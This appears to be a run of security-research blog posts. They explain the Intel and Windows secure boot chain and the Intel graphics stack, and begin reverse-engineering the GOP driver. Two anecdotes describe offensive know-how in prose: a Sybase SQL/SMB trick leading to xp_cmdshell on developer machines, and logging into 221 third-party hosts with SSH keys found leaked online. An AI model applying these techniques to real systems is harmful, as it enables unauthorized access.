These regions are categorized as fault tolerant (FTPs) and non fault tolerant partitions (NFTPs).
Fault tolerant partitions are critical for boot, and verified during early boot (like the RBE, the CSME ROM Boot extensions will discuss in a few paragraphs). If verification fails - the system does not boot. Examples of non fault tolerant partitions are the Integrated Sensor Hub (or ISH) firmware.
SPI flash protection is applied at multiple levels: On the flash chip itself, in the SPI flash controller (in the PCH), in UEFI code and in CSME code.
The SPI controller maps the entire flash to memory at a fixed address, so reads/writes are usually done simply by reading/writing memory. The SPI controller translates this to flash-specific commands issued on the SPI bus, using a table of flash-specific commands stored in the flash descriptor region.
This is called "Hardware Sequencing", meaning the SPI controller issues the actual SPI commands
When hardware sequencing is in use, the SPI controller enforces several flash protections based on the masters region table in the flash (but can be overriden using a hardware PIN).
The SPI controller also implements a FLOCKDN flag. FLOCKDN is a write-once bit that, when set, disables use of software sequencing and modification of the PR registers until the next reset. The CSME sets this in the Bring-UP process (bup_storage_lock_spi_configuration(), see below). This happens when the UEFI notifies it that it is at the end of POST. In addition to the region access control table, the SPI controller also has an option to globally protect up to five regions in the flash from write access by the host using five registers, called Protected Registers (PRs), which are intended for the UEFI firmware to protect itself from modification while the OS is running.
It is also possible to issue direct flash commands using "Software Sequencing" by writing to the OPTYPE/OPMENU registers, since this can be used circumvent the SPI-enforced protections, software sequencing is usually disabled after POST using the FLOCKDN bit.
How is the flash updated?
UEFI region is updated through an UEFI capsule, This update happens during POST, before PRs and FLOCKDN is set, therefore, the BIOS region is still accessible to UEFI code.
Many OEMS have then own UEFI anti-tamper protections. For example, HP has SureStart on laptops and workstations, and Dell has TrustedDevice SafeBIOS. SafeBIOS copies bad firmware images to the EFI system partition, and the Dell Trusted Device software on Windows sends their hashes plus the hash of the UEFI firmware currently in memory to a Dell cloud server (*.delltrusteddevicesecurity.com) to check against a list of "authorized" hashes. Server platforms have similiar protections, including iLO for HP and iDRAC in Dell.
The CSME region can usually be updated only from within the CSME. However, for more complicated upgrades CSME can temporarily unlock the ME region for host read & write.
Overview
In the next sections we'll look over all the stages of boot.
Early power on
Boot starts the PMC, the Power Management Controller.
In modern Intel systems the PMC is an ARC core and its the first controller to execute code once electricity is applied to the system. We'll talk more about PMC in a later post as its quiet interesting and has its own microcode and firmware, and event generates telemetry over the IOSF SB bus (which we'll talk about in a moment).
While the PMC does its init, the rest of the system is held at bay at a RESET state.
The next part to start running is the CSME. Recall from the first post in the series, CSME, or Converged Security and Managment Engine is a MinuteIA (i486 CPU IP block) embedded in the Platform Controller Hub (PCH).
The CSME begins running from its own embedded 128KB ROM - the CSME-ROM. This ROM is protected with a hardware fuse that is burned by Intel during production.
When started the CSME ROM starts like a regular 486 processor BIOS - in the reset vector in real mode. Its first order of business is to enable protected mode. Next it checks if the system is configured in ROM bypass mode to assist debugging, if so maps the ROMB partition in SPI and starts executing from there - a mode call ROM bypass mode which we might dig into later.
Next the CSME's SRAM is initialized and a page table is created mapping SRAM and ROM and then paging is enabled. Once basic initialization is out of the way CSME can switch to C code that does some more complex initialization: initiating the IOMMU (AUnit), the IACP and hardware crypto keys which are calculated from fixed values in hardware. Finally, the DMA engine is used to read the next stage, called the Rom Boot Extension, or RBE, from the system firmware flash through SPI, and verifies it against the cryptographic keys prepared earlier. CSME ROM uses a special table, the Firmware Interface Table, or FIT, a table of pointers to specific regions in the flash and is itself stored in a fixed flash address.
The RBE's job is to load the CSME OS kernel and verify it cryptographically. This process is optimized by using a mechanism called ICV, or Integrity-Check Values, hardware cached verified hashes - as long as the CSME kernel has the same hash it does not require crypto verification. Another check performed by the RBE is an anti-rollback check, making sure that once the CSME has been upgraded to a new version it cannot be downgraded back to the original version.
Before starting the main CSME kernel the RBE loads pre-OS modules. An example pre-OS module is IDLM, which can be used to load debug-signed firmware on a production platform.
The kernel starts by enabling several platform security features: SMEP, Supervisor Mode Access Prevention, prevents exploits from running mapped kernel memory from ring3, and DEP, Data Execution Prevention, which prevents exploits from running code from stack regions. It also generates per-process syscall table permissions, aswell as ACL and IPC permissions.
Bring-Up (BUP)
Once everything is ready the kernel loads the Process Manager which executed "IBL processes", which includes Bring-Up (BUP) and the Loader. The BUP loads virtual file system, or VFS server, parses the init script of the FTPR partition and loads all IBL modules listed there. This includes: the Event Dispatcher Server (eventdisp) - service that allows publishing, registering and acknowledging receipt of named events (sort of DBUS), the Bus Driver (busdrv) - a driver that permits other drivers to access devices on the CSME's internal bus, the RTC driver (prtc), the Crypto/DMA driver (crypto) - provices access to services offered by the OCS hardware (SKS, DMA engines), the Storage driver (storage) - which provides access to the MFS filesystem, the Fuse driver (fpf) and finally the Loader Server (loadmgr).
As seen in the image below, this is the stage where the CPU finally begins execution.
CPU initialization
Once the CSME is ready it releases the main CPU from the RESET state. The main CPU loads microcode from the FIT table and sets it up (after CSME verified the uCode cryptographically) . I won't go into details about microcode, also called uCode, here as I have a full post planned on microcode later. Whats important to know is that microcode does not only include the "implementation" of the instruction set architecture (ISA), but also many routines for intilization, reset, paging, MSRs and much mich more.
As part of CPU initialization it loads another module from the FIT, the Authenticated Code Module (ACM).
The ACM implements BootGuard, a security feature to check cryptographically verify the UEFI signature before it is loaded (once called "AnchorCove").
This begins the Static Root Of Trust Model (SRTM), where CSME ROM verifies the CSME, which verifies the microcode, which verifies the ACM, which verifies the UEFI firmware, which verifies the operating system. This is done by chaining their hashes and storing them in the TPM.
The ACM also initializes TXT, the Dynamic Root of Trust Model (DRTM) which we will detail in a few paragraphs.
UEFI initialization
Once the CPU completes initialization, the Initial Boot Block (IBB) of the UEFI firmware is executed.
The startup ACM authenticates parts of the FIT and the IBB using the OEM key burned into the fuses, authenticates it and measures it into PCR0 in the TPM. PCR0 is also referred to as the CRTM (Core Root of Trust Measurement)
The first stage of IBB is SEC which is responsible for very early platform initialisation, and loading the UEFI secure boot databases from non-volatile (NV) storage (these keys have various names such as PK, KEK, DB, DBX). Next comes PEI core, or "main" module of the Pre EFI initialization. It loads several modules (PEIMs) that initialiaze basic hardware such as memory, PCI-E, USB, basic graphics, basic power managment and more. Some of this code is implemented by the UEFI vendors or OEMs, and some come from Intel in "FSPs", Firmware Support Packages, which perform "Silicon Initialization". Common UEFI firmwears can have as many as a 100 PIE modules.
The UEFI spec does not covers signature/authentication checks in PEI phases. Thats why Intel needed BootGuard to do the bootstrapping: At power-on, BootGuard measures the IBB ranges which include PEI.
Following PEI the Driver Execution Environment is loaded by a security PEI module which verifies their integrity cryptographically beforehand. DXE is responsible for setting up all the rest of the hardware and software execution environment in preparation for OS loading. It also setups System Management Mode (which we'll talk about soon), sensors and monitoring, boot services, real-time clocks and more. A modern UEFI firmware can have as much as 200 different DXE drivers installed.
Many OEMs use BootGuard to authenticate DXE as well by configuring the IBBs to include the entire PEI volume in the flash (PEI Core + PEI modules) and the DXE Core. Secure Boot is used to verify each PEI/DXE image that is loaded before executing it. These images are measured and extended into the TPM's PCR0 as well.
The DXE environment initializes two important tables: the EFI Runtime services table and the EFI Boot Service Table.
Boot Services are used by the operating system only during boot and discarded thereafter. These include memory allocation services and services to access DXE drivers like storage, networking and display. Runtime services are kept in memory for use by the operating system whenever required, and include routines for getting and setting the value of EFI variables, clock manipulation, hardware configuration, firmware capsule updates and more.
Finally the UEFI firmware measures the platform (e.g. chipset) security configuration (NV variables) into PCR1 and then locks them by calling a function in the ACM.
Loading the boot loader
The final driver to be loaded by DXE is the Bood Device Selection module or BDS. BDS scans its stored configuration, comparing it with the currently available hardware and decides on a boot device. This gets executed in legacy boot and non secureboot systems.
In SecureBoot mode another DXE component called the SecureBootDXE is loaded to authenticate the OS boot loader. The cryptographic key used is stored in DXE and verified as part of BootGuard. SecureBootDXE also compares the boot loader agains a signed list of blacklisted or whitelisted loaders.
Windows Boot
Now we are ready for Transient System Load (TSL), most of DXE gets discarded and the OS bootloader is loaded.
The bootloader (called the IPL) is measured into PCR4 and control is transfered to it.
For Windows this is bootmgrfw.efi, the Windows Boot Manager. It first initialzes security policies, handles sleep states like hibernation, and finally uses EFI boot services to load the Windos loader, winload.efi.
Winload
Winload initializes the system's page tables in preparation for loading the kernel, loads the system registry hive, loads the Kernel and the Hardware Abstraction Layer (HAL DLL) and early boot drivers. They are all authenticated cryptographically, and their measurement are stored into the TPM. Once thats done, it uses UEFI memory services to initialze the IOMMU. Once everything is loaded into its correct place in memory, the EFI boot service are discarded.
HVCI
When HVCI, or HyperVisor protected Code Integrity is enabled a different process occurs. Winload does not load the kernel, instead loading the Hypervisor loader (hvload.efi), which in turn loads the hypervisor (hvix64.exe), and sets up a protected virtual machine called VTL1 - Virtual Trust Level 1. It then loads the Secure Kernel (SK) into VTL1, and then setups VTL0, the untrusted level for the normal kernel. Now winload.efi is resumed within VTL0 and continues to boot the system within VTL0. The secure kernel continues running in the background providing security features like authentication as well as memory protection services for VTL0.
Its important to note that the hypervisor and secure kernel do not trust UEFI, and do not initiate any UEFI calls while running. Any future UEFI runtime service calls will be executed from within the VTL0 virtual machine thus protected from harming the hypervisor and secure kernel.
The regular OS kernel boot then continues in VTL0. Malicous UEFI and driver code cannot affect the hypervisor or the secure kernel. Malicious drivers can and will continue to attack user mode code in VTL0, but they must be signed by Microsoft and thus can be analyzed before being approved or blocked quickly if a bug/exploit is found.
Dynamic Root of Trust Model (DRTM)
The whole security model presented so far is based on a chain of verifications. But what happens if that chain is broken by a bug? UEFI implementations have many security bugs, and those will affect the security of the whole system.
To alleviate this issue Intel and Microsoft developed the Dynamic Root of Trust Model (DRTM), available since Windows 10 18H2.
In DRTM, winload starts a new load verification chain using an Intel security feature called TXT. TXT measures critical parts of the OS during OS loading. The process is initiated by the OS executing a special instruction - GETSEC[SENTER], implemented in microcode, which results in the loading, authentication and execution of an ACM called the Secure Init ACM (SINIT ACM). The ACM can be on the flash, or can be supplied by the OS with the GETSEC instruction.
The GETSEC-SENTER microcode flow clears PCR17-23, does an initial measurement into PCR17 that includes the SINIT ACM and the parameters of the GETSEC instruction and executes the SINIT ACM.
SINIT measures additional secure-launch related stuff into PCR17 which includes the STM (if present), digest of Intel Early TXT code and matching elements of the Launch Control Policy (LCP). The LCP checks the platform is in a known-good state by checking PCRs 0-7, and that the OS is in a known-good state by checking PCRs 18-19.
Next SINIT measures authorities involved up to now into PCR18 (the measurement is of the authority (e.g. the signer/key) and not the data to allow for upgrades).
The OS now continues to load and use the PCRs for attestation telemetry.
SecureBoot + DRTM + BitLocker (Windows uses PCRs 7 and 11 for Secure Boot based BitLocker) make sure the system is almost impervious to attacks.
The Windows secure boot process is implemented in an executable call tcblaunch.exe, TCB - Trusted Compute Base.
This is the executable the SINIT ACM measures and launches. The reason tcblaunch.exe was inevented is that data generated from within tcblaunch is considered secure, while data generated from winload can be tainted.
A funny artifact of the MLE launch process is caused by the fact that it is 32-bit, but tcblaunch.exe is 64-bit. Microsoft hacked this by providing a 32-bit mlestartup.'exe binary inside the MSDOS header region of the MZ/PE file.
UEFI Memory Attributes Table
As stated before, Windows wants to run the UEFI runtime services in VTL0. By default the OS cannot lock these memory pages to be W^X (only write or only execute, not both) because many old UEFI systems still mix code and data.
Microsoft solves this by introducing a new UEFI table, the UEFI Memory Attributes Table (MAT), which specifies if the runtime service should execute from VTL0 (by marking the memory region as EFI_MEMORY_RO|EFI_MEMORY_XP), or must run with RWX protections. Since this is a gaping whole, the UEFI runtime's parameters are santized using a VTL code - and this is enabled only for a restricted subset of runtime calls).
Other OSs
[IMAGE]
Some Linux distrubutions use Intel TBOOT implementation for DTRM launch. VMware ESXi support DRTM and TXT from version 6.7U1 using a customized version of TBOOT, and attastation information is managed through VSphere.
[ IMAGE]
More Protections
IOMMU and DMA protections
DMA is a platform feature that allows hardware to write directly to main memory bypassing the CPU. This greatly enhances performance, but comes with a security cost: hardware can overwrite UEFI or OS memory after it has been measured and authenticated. This means malicous hardware can attack the OS after boot and tamper with it.
To solve this problem the memory managment controller of the platform was extended to protect IO, and called the IOMMU. Intel calls this technology VT-d, and it implements address paging with permissions for DMA. The IOMMU allows the OS and its drivers to setup the memory regions devices are allowed to write to. Another protection mechanism in IOMMU used by the UEFI firmware and later the OS is Protected Memory Regions, or PMRs. These define regions that can only be accessed from the OS on the CPU and never by devices through DMA. The IOMMU must be enabled very quickly early in boot to protect from malicous on-board firmware attacking before the OS loads.
To ensure the mechanism for setting up the PMRs is not tampered with it too is measured, including the IOMMU ACPI table, the APIC table, the RAM structure definition, and DMA protection information.
Windows uses the IOMMU and PMRs to protect itself since Windows 10 18H2, and calls this feature Kernel DMA Protection. The Kernel DMA protection prevents DMA to VTL1, hypervisor and VTL0's kernel regions.
Microsoft also allows special implement
There is an undocumented feature in the kernel used by Graphics/DirectX to allow sharing the kernel's virtual memory address space with the graphics card (Device-TLB, ExShareAddressSpaceWithDevice()).
Secure Devices
Microsoft allows some device to be isolated from VTL0 and used only from code in VTL1 to protect sensitive information used for logon, like the face recognition camera and fingerprint sensors. Secure devices discovered using ACPI table "SDEV" (SDEV_SECURE_RESOURCE_ID_ENTRY, SDEV_SECURE_RESOURCE_MEMORY_ENTRY).
Secure devices can be either pure-ACPI devices or PCI devices. Both can be targets for DMA requests
It seems the drivers for secure devices are actually VTL1 user-mode processes that call basic functions in IUMBASE to communicate with the device (DMA, read/write PCI configuration space, do memory-mapped IO), for example:
GetDmaEnabler / DmaMapMemory / SetDmaTargetProperties / MapSecureIo / UnmapSecureIo
SMM
SMM, or the System Managment Mode, is a special mode invoked to handle various hardware and software interrupts, and is implemented as part of the UEFI firmware.
For example, SMM can simulate a PS/2 keyboard by handling keyboard interrupts and translating them into USB read/write. When a legacy application performs an IO IN/OUT operation on a PS/2 port, the SMI handler registered for that port is executed, transfers the system into SMM mode, runs the DXE USB keyboard driver, and then returns the result transparently.
SMM is also used for security features by allowing certain actions to occur only from SMM.
The caveat of SMM is that it has full access to the system, and operates in "ring -2", even higher then VTL-1 and the hypervisor. It has been used for attacks for many years (look in google for NSA's SOUFFLETROUGH).
Intel & Microsoft have developed three technologies to protect the OS from SMM: IRBR, STM, PPAM.
IRBR, or Intel Runtime BIOS Resilience, runs the SMI handler in protected mode with paging enabled, with a page table set up to only map SMRAM, as well as CPU protection to prevent changes to the paging table in SMM mode.
STM - SMM Transfer Monitor, means that most of the SMI handler virtualized, with only a small part called the STM serving as its hypervisor. I don't think is actually implemented in UEFI.
PPAM - also called Nifty Rock or Devil's Gate Rock, tries to fill the gap between IRBR and STM by prepending an Intel entry-point to the SMI handler. Intel supplies a signed module called PPAM that can measure certain attributes of the SMI handler and report them to the OS. The OS can then make a policy decision on how to proceed.
All SMI handler must also be registered in a table called the WSMT table. The firmware's WSMT tables declares to the OS that the firmware guarantees three things: FixedCommBuffers - a guarantee that the SMM will vaildate that the input/output buffers of the operation, CommBufferNestedPtrProtection that extends this guarantee to any pointers within input/output structures, and SystemResourceProtection that indicated that the SMI handler will not reconfigure the hardware.
Memory Reset protections
After a warm boot or even a fast cold boot some secrets (keys) might remain in memory. Intel provides security for these secrets using special TXT Secrets registers.
A few years ago I was asked to help on a red-team exercise in a company doing hardware R&D.
The company had a very strict password policy, and every computer had a randomized local adminsitrator account password and local SMB server disabled.
We managed to gain access to one developer but got stuck there. We did find one thing though: many of the developers had Sybase Adaptive SQL server installed on their systems as it was bundled by default with LabVIEW and Siemens Step 7, both in use by the target.
I installed LabVIEW and tried accessing it through the Adaptive SQL client. Looking through the connect dialog I notice something interesting: one of the options was "Start and connect to a database on another computer":
When selecting this option you need to specify the DB filename. I tried specifying an SMB server and could and pressed "Connnect". Amazingly, the target computer connected back over an SMB null session to the share I specified. I setup a Samba server that allows anonymous access and placed a DB file I crafted with credentials I specified during creation. This time I managed to connect and execute SQL statments against my server. What was more interesting, the account permissions and roles were set by the DB file and not by the host, so I could setup in advance in my DB to have an administrator role and then I could execute "xp_cmdshell" on the remote host.
We tried this in the field using ssh port forwarding back home on 445 and got access to most developer computers.
This was quiet a few years ago, but looking over the CVE DB for Sybase I don't see any issue that sounds like that, so I guess if you encounter Step7 or LabVIEW during a pentest you now know what to do β¦
In 2018 I was contracted to help a large organization with a very distributed and remote structure. One of the things that I found was that the organization does not have a strict policy regarding the creation, storage and lifecycle of SSH keys.
I decided to look into this issue in general, so in Feb 2019 wrote a crawler that looked for SSH keys around the web - public repos, s3 bucket with bad permissions, data dumps from companies and so on.
From this I got 4807 keys. Next I wrote a small python script that tried the SSH keys - just autenticate and close the connection, without opening any channels as to not actually access the target systems which would be illegal.
I managed to authenticate into 221 hosts, 5 were FreeBSD, 1 was MacOS, 3 were Linux on ARM64, and the rest were Linux x64. This means I have 221 working keys found on the web and no way to notify their owners they should change their keys.
General interesting statistics:
Of the 4807 keys 966 were malformed and 1036 were encrypted (20%). Of the 1036 encrypted I could break 88 passwords using dictionaries and an additional 41 passwords using John-the-ripper on a 3-year old 8-core Xeon workstation after a month of brute-forcing.
Last week (after two years!) I reran the test against the 221 working keys and 179 still work. To make sure these are not honepots I added to the testing script a checked for the length of the remote .bash_history file, and none seem to be honeypots.
I promised Iβll post stuff about low level hardware issues, and here is my second post on the subject, the first part in a series about the Intel graphics stack.
This post series will be a summary of about a decade of unpublished research I am trying to organize and share.
Not all of it is current, as newer hardware is harder to inspect and reverse, but I think much of the research is relevant.
The first post below is a quick introduction to the different components on the hardware and software side weβll need to dive into security issues in the next post.
General Architecture
Processor graphics - The graphics unit that is part of the processor itself. Has had many codenames over the years, HD Graphics, UHD Graphics, Iris, Gen9, Gen11, Intel Xe and so on. Even the βGenβ name has double meaning - both generation and βGraphics ENgineβ. In UEFI code it is sometimes refered to at the IGD - Integrated Graphics Device.
The GuC - an embedded i486 core that supports graphics scheduling, power management and firmware attestation.
UEFI and OS Drivers
Core Graphics
As discussed in the introduction to the SecureBoot post, the Intel CPU has four major component groups - the CPU cores, the L3 (or LLC) cache slices, the βUncoreβ or βSystem Agentβ parts, all connected through a ring bus inside the die.
The graphics process is made up from several slices and an unslice (like uncore) area that includes common components.
Each slice is divided into subslices and a slice common area. The subslices are made up of several Execution Units (EUs), and Texture unit and a L1 Cache/Memory. The common area includes the L3 cache and the dataport.
The limit to the number of slices is the interconnect between them and the unslice.
There is always only a single unslice. In the unslice we can find the connection to the ring bus, aptly named the GT interface (GTI), the Command Streamer is reads commands from the system memory and into the graphics processor, the fixed function pipline (FF pipeline), and the thread dispatcher \& spawner that lunch shader programs and GPGPU (General Purpose Computing) programs onto the EUs. The FF pipeline deals with fixed functions such as vertice operations (called the Geometry Pipe), and other dedicated hardware such as video transcoding.
Different SKUs have different combinations of these. For example:
Skylake GT2: 1 slice of 3 subslices of 8 EUs (1x3x8)
Skylake GT3: 2x3x8
Skylake GT4: 3x3x8
The graphics engine is also connect straight to the IOSF (Intel On Chip Fabric internal bus, see the secureboot post bus, through a controller called Gunit. Gunit is connect to both the primary and secondary IOSF and exports functions for communicating with the graphics engine and implementing IOMMU support for graphics memory and unified memory.
All of this is connected to the display IO interconnect and output to DisplayPort and HDMI outputs.
2D Graphics Pipeline
The 2D graphics engine is a standalone IP block in the unslice area, and has its own command streamer, registers and cache. It has 256 different operation codes, for example:
3D Graphics Pipeline
The fixed function pipeline in the unslice implements the DirectX 11 redndering pipeline stages:
Vertex Fetch -> Vertex Shader -> Hull Shader -> Tessellator -> Domain Shader -> Geometry Shader -> Clipper -> Windower -> Z Ordering, -> Pixel Shader - >Pixel Output. Some of these functions are self contained, but many are implemented using by running shader programs on the EUs in the slices. EUs can send certain operations back into dedicated hardware units.
The Execution Units (EUs)
The EUs are in-order mulithreaded SIMD processing cores. Each execution thread is dispatched has its own 128 register space and executed programs called βkernelsβ. All instructions are 8 channels wide, e.g. operate on 8 registers at a time (or 16 half registers). Its supports arithmetic, logical and control flow instructions on floats and ints. Registers are addressed by address.
The EU thread dispatcher implements priorities based on age, i.e. oldest is highest priority, and whether the trhead is blocked waiting on instruction fetches, register dependencies etcβ. C
The GuC
The GuC is a small embedded core that supports graphics scheduling, power management and firmware attestation.
It is implemented in an i486DX4 CPU (also called P24C and Minute IA), although it seems that since broadwell it has been extended to the Pentium (i586) ISA. It runs a small microkernel call ΞΌOS.
The GuC ΞΌOS runs only kernel level tasks (even though ΞΌOS supports ΞΌApps). The firmware is written in C with not stdlib.
In the GuC we can find supporting blocks: ROM memory, 8KB L1 on core cache, 64KB/128KB/256KB (Broadwell/Skylake/CannonLake) of SRAM memory which is used for code+data+cache and a 8KB stack. It also has power management, DMA engine, etcβ.
Communication to the GuC is done through memory-mapped IO and bidirectional interrupts.
The GuC offers a light-weight mechanism for dispatch work the host submits to the GPU. This means the GPU driver does not need to handle dispatch and job queuing, making it much faster. The user mode driver (UMD) can communicate with the GuC directly when required and bypass the need to context switch the main CPU into kernel mode. The kernel mode driver (KMD) uses the GuC as a gateway for job submission as well. This simplifies the Kernel and provides a single point where all jobs are submitted.
Communication between the UMD and the GuC is done through shared memory queues.
Why is the GuC interesting? Because I think it can communicate with the CSME, CPU and GPU and everything over the IOSF, and if it has bugs it can be used to gain very privileged access to the system and memory.
Boot ROM and GuC firmware
At system startup GuC is held at reset state until the UEFI firmware initializes the shared memory region for the GPU. Inside the shared region a special subregion call WOPCM is set aside fur GuC (and HuC) firmware. It then releases the GuC from reset and it in turn starts executing a small non-modifiable Boot ROM (16/32KB in size) that initializes the basic GuC hardware, and waits for an interrupt signalling the firmware has been copied to the WOPCM region.
The GuC firmware is an opaque blob supplied by Intel as part of the GPU KMD, which copies it to the shared memory region (GGTT) and signals the Boot ROM with an interrupt. The bootrom verifies the firmware with a digital signature using a SHA256 hash + PKCSv2.1 RSA signature, and if the test passes copies it to SRAM and starts executing.
The GUC firmware can be extracted from the graphics driver and reversed. Screenshot of IDA open on the kabylake GuC:
The GuC also attest the firmware for the video decoder unit, called HuC. The HuC is an HEVC/H.265 decoded implement in hardware.
The ΞΌOS kernel
The ΞΌOS kernel runs in 32-bit protected mode, with no paging and old-style segments model (CS, DS, etcβ). All code run in ring0. The OS handles HW/SW exceptions and crashes, and supplies debugging and logging services.
Interrupts are handled through the local APIC - I found interrupts coming from the IOMMU, power management, display interfaces, the GPU and the CPU.
It runs a single process - which initializes the system and then waits for interrupts/events in a loop.
Communication with the OS
Commands are dispatched through a ring buffer work queue. Each work item has a header followed by a command. Once a command is posted the CPU notifies the GuC using a βdoorbellβ interrupt.
The Windows kernel mode driver supports GuC debugging by setting a registry key:
So far we only discussed hardware. The software part of the graphics stack is divided into three levels: UEFI DXE, kernel mode and user mode.
UEFI
Traditionally VGA support was implemented with a legacy Video VBIOS as an PCI option ROM. In UEFI VBIOS was modified into a DXE driver call the Graphics Output Protocol (GOP), which support basic display for the UEFI setup menu and for the OS bootloader. The GOP is supplied by Intel to the UEFI vendor.
The GOP supplies two basic functions:
Changing the graphics mode - resolution, pixel depth, etcβ
Getting the physical address of the framebuffer
The Windows boot-loader uses the GOP to setup a memory mapped video framebuffer before entering VBS, and after the hypervisor and SK are loaded the access by winload is only through the framebuffer without invoking the GOP. Windows also uses the GOP for disabling blue screens.
Windows
On Windows, Intel supplies a fairly large graphics driver that implements both the user mode driver (UMD) and kernel mode driver (UMD). Applications using Direct3D communicate through the D3D runtime to the DXGI abstraction interface (in dxgkrnl.sys), which in turn communicated with the KMD. The KMD treats 2D Blt and 3D operations through different pipelines and dispatches the operations to the GPU.
The GPU driver is riddled with telemetry, but I havenβt figured out yet how much of it is sent automatically to Intel, altough crashes are sent through OCA - Online Crash Analysis.
Basic Memory Management
A very important job of the graphics drivers (both KMD and UMD) is memory management (GMM). The Graphics Memory space is the virtual memory allocated to the GPU, and is translated using the system pages tables to the physical RAM. The memory contains stuff lime geometry data, textures, etcβ. The GPU hardware used Graphics Page Tables (GTTs) to decode virtual addresses supplied by the software graphics memory space into hardware. The use of MMUs and page tables on both ends (sw \& hw) has three main benefits: virtualization, per-process isolated graphics memory and non-contiguous physical memory for better utilization.
The GTTs come in two variants:
Global GTT - a single one level table mapping directly into system pages. It is managed by the HW and configured in UEFI. The UEFI DXE driver maps the GTT into memory and initializes it. It is also called Graphics Stolen Memory (GSM) and Unified Memory Architecture (UMA), not to be confused with CSMEβs UMA.
Per-process GTT (PPGTT). This has changed significantly in the Broadwell graphics engine, so weβll discuss only the new architecture. Modern PPGTT is basically a mirror of the CPUβs paging model with 4 paging levels.
The GMM part of the KMD handles and tracks graphics allocations, manages the GTTs, caching coherence, stolen memory allocation and something I wonβt go into right now called swizzling. The GMM is essential for performance as it allows memory to be setup by the CPU and then accessed by the GPU directly without copying from system memory to GPU memory.
Its important to note that in modern system the whole system memory can be used for graphics. The driver reports fictious βdedicatedβ video memory probably to fix old games.
Security-wise, the graphis driver needs to make sure user process can gain access only to memory allocated to that process, and is cleared before transferring the memory to a different process.
SVM Mode
The Intel GPU have added support for another organic memory model, the OpenCL SVM model. In SVM mode the GPU and CPU share the exact same page table, so data structures can be shared AS-IS between both, including embedded pointers and such.
Five levels of SVM are supported.
Coarse grained - CPU \& GPU have different buffers
Fine grained - CPU \& GPU can share memory buffer
Fine grained system - CPU \& GPU share entire system memory
+-----------------+------------------------------------------------------------------------------+
| | Type |
+-----------------+-----------------------+--------------------------------+---------------------+
| | Coarse-graind-buffer | Fine-grained buffer | Fine-grained system |
+-----------------+ +-----------------+--------------+ |
| Type | | without atomics | with atomics | |
+-----------------+-----------------------+-----------------+--------------+---------------------+
| Shared | V | V | V | V |
| virtual | | | | |
| address | | | | |
| space | | | | |
+-----------------+-----------------------+-----------------+--------------+---------------------+
| No need for | | V | V | V |
| explicit | | | | |
| mapping by host | | | | |
+-----------------+-----------------------+-----------------+--------------+---------------------+
| Fine- | | V | V | V |
| grained | | | | |
| coherency | | | | |
+-----------------+-----------------------+-----------------+--------------+---------------------+
| Fine- | | | V | V |
| grained | | | | |
| synchorinzation | | | | |
+-----------------+-----------------------+-----------------+--------------+---------------------+
| Implicit use | | | | V |
| of memory | | | | |
| from CPU | | | | |
| malloc() from | | | | |
| GPU and entire | | | | |
| CPU address | | | | |
| space | | | | |
+-----------------+-----------------------+-----------------+--------------+---------------------+
Cache Coherence
Both the CPUs and GPUs have a complex memory hierarchy involving many caches. For example:
GPU memory accesses do not pass through the CPU coreβs L1+L2 caches, so the GPU implements snooping to maintain memory-cache coherency. The GPU basically sniffs the traffic on the CPU L1/L2 caches, and invalidates its own cache (I think this is relevant only to BigCore CPUs, and on Atom this is optional and very costly).
The GPUβs transient caches are not snoopable by the CPU and must be explicitly flushed. The GPU L3 Cache is snoopable by the CPU on some Intel platforms.
Boot process
At boot, the operating system and kernel mode drive will detect and query the display devices, initialize a default display topology.
After boot up, display config request will be sent to KMD and KMD in turn will configure the GEN display hardwires
There are also use cases of display hot-plug during runtime, handled by OS user and kernel mode modules/drivers.
Once the driver is loaded it DirectX initializes it from DxgkDdiStartDevice() which eventually leads to a function that setups the render table per architecture:
OCA is a mechanism that lets drive store device data and send it through windows update back to the driver vendor.
There are two cases of failures:
Windows thinks there is a problem and the driver needs to be reloaded (TDR). Windows calls DxgkDdiCollectDbgInfo(), a mechanism that lets drive store device data and send it through windows update back to the driver vendor. The Intel GPU driver can add more then 1MB of data through DxgkDdiCollectDbgInfo().
In case of a blue screen (bugcheck), KmBugcheckSecondaryDumpDataCallback() is called and the driver passes data to it.
After both function the data is converted into an OCA blob using CreateOCAXXXDivision, and it is later uploaded to Microsoft and from there to Intel.
The Intel OCA blob contains lots of system and driver information, including what appears to be an Intel specific unique identifier assigned by the driver to the machnine and can be used for tracking.
Conclusion
In this post we learned the basic components of the graphics stack. In the next post on the graphics stack weβll start looking into security implications.
Today we'll continue our voyage into the graphics subsystem components.
The question we'll try to answer is what kind of communications occur between the GuC and the rest of the system. In this post we'll look at firmware components and next post at Windows components.
For a reminder what the GuC is, look at part1 post .
The Intel Graphics Output Protocol (GOP) EFI DXE driver can be extracted in various versions from many UEFI capsules available through many vendors.
For this post I redid my original analysis on a recent version from a CanonLake system.
The purpose of this exercise is to try and see whether the GOP driver communicates with the GuC over the PCIe bus (TL;dr: it doesn't)
The binary isn't to large - 84KB, so we can try to completely reverse engineer it. I used both IDA+HexRays and a dynamic analysis UEFI emulator I developed for just these cases. The emulator lets you run EFI DXE drivers in Windows simulating many UEFI services and allowing me to modify/inspect EFI interfaces, hook UEFI protocol structs, and even has some fuzzing capabilities.
Looking at the driver's entrypoint we see it stores the different service tables in globals and then jumps to the main() functions I called GopEntryPoint().
.text:0000000000001580; EFI_STATUS __fastcall ModuleEntryPoint(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable).text:0000000000001580public_ModuleEntryPoint.text:0000000000001580_ModuleEntryPointprocnear; DATA XREF: HEADER:00000000000000E8βo.text:0000000000001580subrsp,28h.text:0000000000001584movr8,[rdx+60h].text:0000000000001588movrax,[rdx+58h].text:000000000000158Cmovcs:gIMAGE_HANDLE,rcx.text:0000000000001593movcs:gBOOT_SERVICES,r8.text:000000000000159Amovcs:gRUNTIME_SERVICES,rax.text:00000000000015A1movcs:gBOOT_SERVICES2,r8.text:00000000000015A8movcs:gSYSTEM_TABLE2,rdx.text:00000000000015AFcallGopEntryPoint.text:00000000000015B4addrsp,28h.text:00000000000015B8retn.text:00000000000015B8_ModuleEntryPointendp
GopEntryPoint() first part is really boring, just setting up version information in global strings.
And then install four protocol handlers, three of which I identified: one for driver binding and two for component name handling. The InstallMultipleProtocolInterfaces(..) can accept multiple protocols, each protocol has a GUID and the βvirtual tableβ like structure used by UEFI. The final entry is NULL. Most UEFI protocol GUIDs are public (and appear in the EDK) so we can identify them easily and this identify the virtual table structures associated with them, for example for the UEFI binding protocol we have in DriverBinding.h:
All the GUID values appear close to each other at the beginning of the binary, so we can take a shortcut and find all the GUIDs the driver uses:
